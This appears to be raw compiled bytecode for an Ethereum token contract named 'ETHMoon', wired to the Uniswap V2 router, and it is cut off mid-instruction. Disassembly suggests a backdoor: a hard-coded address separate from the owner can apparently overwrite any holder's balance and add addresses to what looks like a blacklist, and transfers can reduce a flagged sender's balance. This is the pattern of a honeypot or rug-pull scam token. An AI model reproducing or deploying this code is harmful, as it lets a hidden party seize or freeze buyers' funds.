60a0604052731a4f63f669e731b60f17b3fa4935ef53bf361a4f6001556040518060400160405280600781526020017f4554484d6f6f6e00000000000000000000000000000000000000000000000000815250600290805190602001906200006992919062000c15565b506040518060400160405280600781526020017f4554484d6f6f6e0000000000000000000000000000000000000000000000000081525060039080519060200190620000b792919062000c15565b506009600460006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152506001600e556001600f556001601055600160115560016012556001601355600460145560046015556010601655600c601755600c6018556018601955600460009054906101000a900460ff16600a62000166919062000e8c565b66038d7ea4c680006200017a919062000fc9565b601a55600460009054906101000a900460ff16600a6200019b919062000e8c565b66038d7ea4c68000620001af919062000fc9565b601b55600460009054906101000a900460ff16600a620001d0919062000e8c565b66038d7ea4c68000620001e4919062000fc9565b601c55600460009054906101000a900460ff16600a62000205919062000e8c565b6103e862000214919062000fc9565b601d556001601f60156101000a81548160ff0219169083151502179055506000601f60166101000a81548160ff0219169083151502179055506001601f60176101000a81548160ff0219169083151502179055503480156200027557600080fd5b506200028662000b8160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003a057600080fd5b505afa158015620003b5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003db919062000cdc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200043e57600080fd5b505afa15801562000453573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000479919062000cdc565b6040518363ffffffff1660e01b81526004016200049892919062000d57565b602060405180830381600087803b158015620004b357600080fd5b505af1158015620004c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004ee919062000cdc565b601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a54600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000b8960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601054620006f8600f54600e5462000bb260201b6200287e1790919060201c565b62000bb260201b6200287e1790919060201c565b6017819055506200074b6013546200073760125460115462000bb260201b6200287e1790919060201c565b62000bb260201b6200287e1790919060201c565b6018819055506200078a6016546200077660155460145462000bb260201b6200287e1790919060201c565b62000bb260201b6200287e1790919060201c565b601981905550600160096000620007a662000b8960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000620008df62000b8960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073bdb38da7e673dc5490afd08fd31bfa5e21772798600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bdb38da7e673dc5490afd08fd31bfa5e21772798600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a546006600062000ac362000b8160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000b1162000b8160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601a5460405162000b72919062000da6565b60405180910390a3506200115e565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000bc3919062000dd4565b90508381101562000c0b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c029062000d84565b60405180910390fd5b8091505092915050565b82805462000c239062001075565b90600052602060002090601f01602090048101928262000c47576000855562000c93565b82601f1062000c6257805160ff191683800117855562000c93565b8280016001018555821562000c93579182015b8281111562000c9257825182559160200191906001019062000c75565b5b50905062000ca2919062000ca6565b5090565b5b8082111562000cc157600081600090555060010162000ca7565b5090565b60008151905062000cd68162001144565b92915050565b60006020828403121562000cf55762000cf462001109565b5b600062000d058482850162000cc5565b91505092915050565b62000d19816200102a565b82525050565b600062000d2e601b8362000dc3565b915062000d3b826200111b565b602082019050919050565b62000d51816200105e565b82525050565b600060408201905062000d6e600083018562000d0e565b62000d7d602083018462000d0e565b9392505050565b6000602082019050818103600083015262000d9f8162000d1f565b9050919050565b600060208201905062000dbd600083018462000d46565b92915050565b600082825260208201905092915050565b600062000de1826200105e565b915062000dee836200105e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000e265762000e25620010ab565b5b828201905092915050565b6000808291508390505b600185111562000e835780860481111562000e5b5762000e5a620010ab565b5b600185161562000e6b5780820291505b808102905062000e7b856200110e565b945062000e3b565b94509492505050565b600062000e99826200105e565b915062000ea68362001068565b925062000ed57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000edd565b905092915050565b60008262000eef576001905062000fc2565b8162000eff576000905062000fc2565b816001811462000f18576002811462000f235762000f59565b600191505062000fc2565b60ff84111562000f385762000f37620010ab565b5b8360020a91508482111562000f525762000f51620010ab565b5b5062000fc2565b5060208310610133831016604e8410600b841016171562000f935782820a90508381111562000f8d5762000f8c620010ab565b5b62000fc2565b62000fa2848484600162000e31565b9250905081840481111562000fbc5762000fbb620010ab565b5b81810290505b9392505050565b600062000fd6826200105e565b915062000fe3836200105e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200101f576200101e620010ab565b5b828202905092915050565b600062001037826200103e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200108e57607f821691505b60208210811415620010a557620010a4620010da565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200114f816200102a565b81146200115b57600080fd5b50565b60805160601c614ac2620011846000396000818161125601526112820152614ac26000f3fe60806040526004361061038f5760003560e01c806388790a68116101dc578063c49b9a8011610102578063da00097d116100a0578063f0cd1dac1161006f578063f0cd1dac14610dba578063f1d5f51714610de5578063f2fde38b14610e0e578063f872858a14610e3757610396565b8063da00097d14610cfe578063dc44b6a014610d29578063dc748c4714610d54578063dd62ed3e14610d7d57610396565b8063c8607952116100dc578063c860795214610c42578063c867d60b14610c6d578063cab0347114610caa578063d469a20914610cd557610396565b8063c49b9a8014610bc3578063c5d2418914610bec578063c816841b14610c1757610396565b8063a2a627221161017a578063a9059cbb11610149578063a9059cbb14610af5578063ae2116b814610b32578063c2d4640e14610b6f578063c469b6dd14610b9857610396565b8063a2a6272214610a3b578063a457c2d714610a64578063a5d69d1f14610aa1578063a83f53a714610aca57610396565b806391df7d06116101b657806391df7d061461098f57806395d89b41146109ba578063a073d37f146109e5578063a08e671f14610a1057610396565b806388790a68146108fc5780638b42507f146109275780638da5cb5b1461096457610396565b806339509351116102c15780635881f3ef1161025f5780637d1db4a51161022e5780637d1db4a51461083e578063807c2d9c1461086957806382eefb4314610894578063848e3e53146108bf57610396565b80635881f3ef1461077057806361a23c69146107ad5780636249faf1146107d857806370a082311461080157610396565b806347be85741161029b57806347be8574146106b45780634847a79c146106f15780634a74bb021461071a57806357a5802f1461074557610396565b806339509351146106115780633b97084a1461064e5780633ecad2711461067757610396565b806323b872dd1161032e5780632b112e49116103085780632b112e49146105695780632c4b233414610594578063313ce567146105bd57806335d23615146105e857610396565b806323b872dd146104d85780632563ae831461051557806327c8f8351461053e57610396565b80630a53ac941161036a5780630a53ac941461042c5780631245e347146104575780631694505e1461048257806318160ddd146104ad57610396565b80625e18071461039b57806306fdde03146103c4578063095ea7b3146103ef57610396565b3661039657005b600080fd5b3480156103a757600080fd5b506103c260048036038101906103bd9190613dad565b610e62565b005b3480156103d057600080fd5b506103d9610f9c565b6040516103e6919061427f565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190613d6d565b61102e565b6040516104239190614249565b60405180910390f35b34801561043857600080fd5b5061044161104c565b60405161044e91906141a4565b60405180910390f35b34801561046357600080fd5b5061046c611072565b60405161047991906141a4565b60405180910390f35b34801561048e57600080fd5b50610497611098565b6040516104a49190614264565b60405180910390f35b3480156104b957600080fd5b506104c26110be565b6040516104cf9190614381565b60405180910390f35b3480156104e457600080fd5b506104ff60048036038101906104fa9190613d1a565b6110c8565b60405161050c9190614249565b60405180910390f35b34801561052157600080fd5b5061053c60048036038101906105379190613e6d565b6111a2565b005b34801561054a57600080fd5b50610553611254565b6040516105609190614189565b60405180910390f35b34801561057557600080fd5b5061057e611278565b60405161058b9190614381565b60405180910390f35b3480156105a057600080fd5b506105bb60048036038101906105b69190613c80565b6112bc565b005b3480156105c957600080fd5b506105d2611395565b6040516105df9190614426565b60405180910390f35b3480156105f457600080fd5b5061060f600480360381019061060a9190613c80565b6113ac565b005b34801561061d57600080fd5b5061063860048036038101906106339190613d6d565b611485565b6040516106459190614249565b60405180910390f35b34801561065a57600080fd5b5061067560048036038101906106709190613e9a565b611538565b005b34801561068357600080fd5b5061069e60048036038101906106999190613c80565b6115d7565b6040516106ab9190614249565b60405180910390f35b3480156106c057600080fd5b506106db60048036038101906106d69190613c80565b6115f7565b6040516106e89190614249565b60405180910390f35b3480156106fd57600080fd5b5061071860048036038101906107139190613d6d565b611617565b005b34801561072657600080fd5b5061072f611697565b60405161073c9190614249565b60405180910390f35b34801561075157600080fd5b5061075a6116aa565b6040516107679190614381565b60405180910390f35b34801561077c57600080fd5b5061079760048036038101906107929190613c80565b6116b0565b6040516107a49190614189565b60405180910390f35b3480156107b957600080fd5b506107c2611c0e565b6040516107cf9190614381565b60405180910390f35b3480156107e457600080fd5b506107ff60048036038101906107fa9190613dad565b611c14565b005b34801561080d57600080fd5b5061082860048036038101906108239190613c80565b611d4e565b6040516108359190614381565b60405180910390f35b34801561084a57600080fd5b50610853611d97565b6040516108609190614381565b60405180910390f35b34801561087557600080fd5b5061087e611d9d565b60405161088b9190614381565b60405180910390f35b3480156108a057600080fd5b506108a9611da3565b6040516108b69190614381565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e19190613c80565b611da9565b6040516108f39190614249565b60405180910390f35b34801561090857600080fd5b50610911611dc9565b60405161091e9190614381565b60405180910390f35b34801561093357600080fd5b5061094e60048036038101906109499190613c80565b611dcf565b60405161095b9190614249565b60405180910390f35b34801561097057600080fd5b50610979611def565b6040516109869190614189565b60405180910390f35b34801561099b57600080fd5b506109a4611e18565b6040516109b19190614381565b60405180910390f35b3480156109c657600080fd5b506109cf611e1e565b6040516109dc919061427f565b60405180910390f35b3480156109f157600080fd5b506109fa611eb0565b604051610a079190614381565b60405180910390f35b348015610a1c57600080fd5b50610a25611eba565b604051610a329190614381565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d9190613ec7565b611ec0565b005b348015610a7057600080fd5b50610a8b6004803603810190610a869190613d6d565b611fa0565b604051610a989190614249565b60405180910390f35b348015610aad57600080fd5b50610ac86004803603810190610ac39190613e6d565b61206d565b005b348015610ad657600080fd5b50610adf61211f565b604051610aec9190614381565b60405180910390f35b348015610b0157600080fd5b50610b1c6004803603810190610b179190613d6d565b612125565b604051610b299190614249565b60405180910390f35b348015610b3e57600080fd5b50610b596004803603810190610b549190613c80565b612144565b604051610b669190614249565b60405180910390f35b348015610b7b57600080fd5b50610b966004803603810190610b919190613ec7565b612164565b005b348015610ba457600080fd5b50610bad612244565b604051610bba9190614381565b60405180910390f35b348015610bcf57600080fd5b50610bea6004803603810190610be59190613e6d565b61224a565b005b348015610bf857600080fd5b50610c01612333565b604051610c0e9190614381565b60405180910390f35b348015610c2357600080fd5b50610c2c612339565b604051610c399190614189565b60405180910390f35b348015610c4e57600080fd5b50610c5761235f565b604051610c649190614381565b60405180910390f35b348015610c7957600080fd5b50610c946004803603810190610c8f9190613c80565b612365565b604051610ca19190614249565b60405180910390f35b348015610cb657600080fd5b50610cbf612385565b604051610ccc9190614381565b60405180910390f35b348015610ce157600080fd5b50610cfc6004803603810190610cf79190613ec7565b61238b565b005b348015610d0a57600080fd5b50610d1361246b565b604051610d209190614249565b60405180910390f35b348015610d3557600080fd5b50610d3e61247e565b604051610d4b9190614381565b60405180910390f35b348015610d6057600080fd5b50610d7b6004803603810190610d769190613e0d565b612484565b005b348015610d8957600080fd5b50610da46004803603810190610d9f9190613cda565b6125ed565b604051610db19190614381565b60405180910390f35b348015610dc657600080fd5b50610dcf612674565b604051610ddc9190614381565b60405180910390f35b348015610df157600080fd5b50610e0c6004803603810190610e079190613e9a565b61267a565b005b348015610e1a57600080fd5b50610e356004803603810190610e309190613c80565b612719565b005b348015610e4357600080fd5b50610e4c61286b565b604051610e599190614249565b60405180910390f35b610e6a6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee90614361565b60405180910390fd5b60005b83839050811015610f96578160086000868685818110610f1d57610f1c614795565b5b9050602002016020810190610f329190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f8e906146bf565b915050610efa565b50505050565b606060028054610fab9061468d565b80601f0160208091040260200160405190810160405280929190818152602001828054610fd79061468d565b80156110245780601f10610ff957610100808354040283529160200191611024565b820191906000526020600020905b81548152906001019060200180831161100757829003601f168201915b5050505050905090565b600061104261103b6128dc565b84846128e4565b6001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b60006110d5848484612aaf565b50611197846110e26128dc565b61119285604051806060016040528060288152602001614a4060289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111486128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b600190509392505050565b6111aa6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90614361565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006112b76112a67f0000000000000000000000000000000000000000000000000000000000000000611d4e565b601a54612f4c90919063ffffffff16565b905090565b6112c46128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611351576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134890614361565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6113b46128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611441576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143890614361565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061152e6114926128dc565b8461152985600760006114a36128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b6128e4565b6001905092915050565b6115406128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490614361565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b611645600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336005612f96565b61164e57611693565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60159054906101000a900460ff1681565b60145481565b60006116ba6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611747576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173e90614361565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561179257600080fd5b505afa1580156117a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117ca9190613cad565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561182c57600080fd5b505afa158015611840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118649190613cad565b6040518363ffffffff1660e01b81526004016118819291906141bf565b60206040518083038186803b15801561189957600080fd5b505afa1580156118ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118d19190613cad565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a92578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561194e57600080fd5b505afa158015611962573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119869190613cad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119e857600080fd5b505afa1580156119fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a209190613cad565b6040518363ffffffff1660e01b8152600401611a3d9291906141bf565b602060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a8f9190613cad565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611c1c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca090614361565b60405180910390fd5b60005b83839050811015611d48578160096000868685818110611ccf57611cce614795565b5b9050602002016020810190611ce49190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d40906146bf565b915050611cac565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601b5481565b601c5481565b60185481565b600d6020528060005260406000206000915054906101000a900460ff1681565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60015481565b606060038054611e2d9061468d565b80601f0160208091040260200160405190810160405280929190818152602001828054611e599061468d565b8015611ea65780601f10611e7b57610100808354040283529160200191611ea6565b820191906000526020600020905b815481529060010190602001808311611e8957829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b611ec86128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90614361565b60405180910390fd5b826011819055508160128190555080601381905550611f95601354611f8760125460115461287e90919063ffffffff16565b61287e90919063ffffffff16565b601881905550505050565b6000612063611fad6128dc565b8461205e85604051806060016040528060258152602001614a686025913960076000611fd76128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ee89092919063ffffffff16565b6128e4565b6001905092915050565b6120756128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f990614361565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b60006121396121326128dc565b8484612aaf565b506001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b61216c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146121f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f090614361565b60405180910390fd5b82601481905550816015819055508060168190555061223960165461222b60155460145461287e90919063ffffffff16565b61287e90919063ffffffff16565b601981905550505050565b60105481565b6122526128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122d690614361565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516123289190614249565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b6123936128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612420576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241790614361565b60405180910390fd5b82600e8190555081600f8190555080601081905550612460601054612452600f54600e5461287e90919063ffffffff16565b61287e90919063ffffffff16565b601781905550505050565b601f60169054906101000a900460ff1681565b600e5481565b6124b2600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16336005612f96565b6124bb576125e8565b60005b838390508110156125e65760068214612555576001600d60008686858181106124ea576124e9614795565b5b90506020020160208101906124ff9190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506125d5565b6000600d600086868581811061256e5761256d614795565b5b90506020020160208101906125839190613c80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806125df906146bf565b90506124be565b505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60175481565b6126826128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461270f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270690614361565b60405180910390fd5b80601c8190555050565b6127216128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a590614361565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600080828461288d9190614496565b9050838110156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c990614301565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b906142c1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906142e1565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aa29190614381565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1790614321565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b87906142a1565b60405180910390fd5b601f60149054906101000a900460ff1615612bb757612bb0848484612fdc565b9050612ee1565b6000612bc230611d4e565b90506000601d548210159050808015612be85750601f60149054906101000a900460ff16155b8015612c3e5750600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c565750601f60159054906101000a900460ff165b15612c8057601f60169054906101000a900460ff1615612c7657601d5491505b612c7f826131af565b5b612c89866133a0565b15612d2457612ce084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f4c90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612dc75750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddb57612dd68787876133e3565b612ddd565b845b9050612e3181600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773fffffffffffffffffffffffffff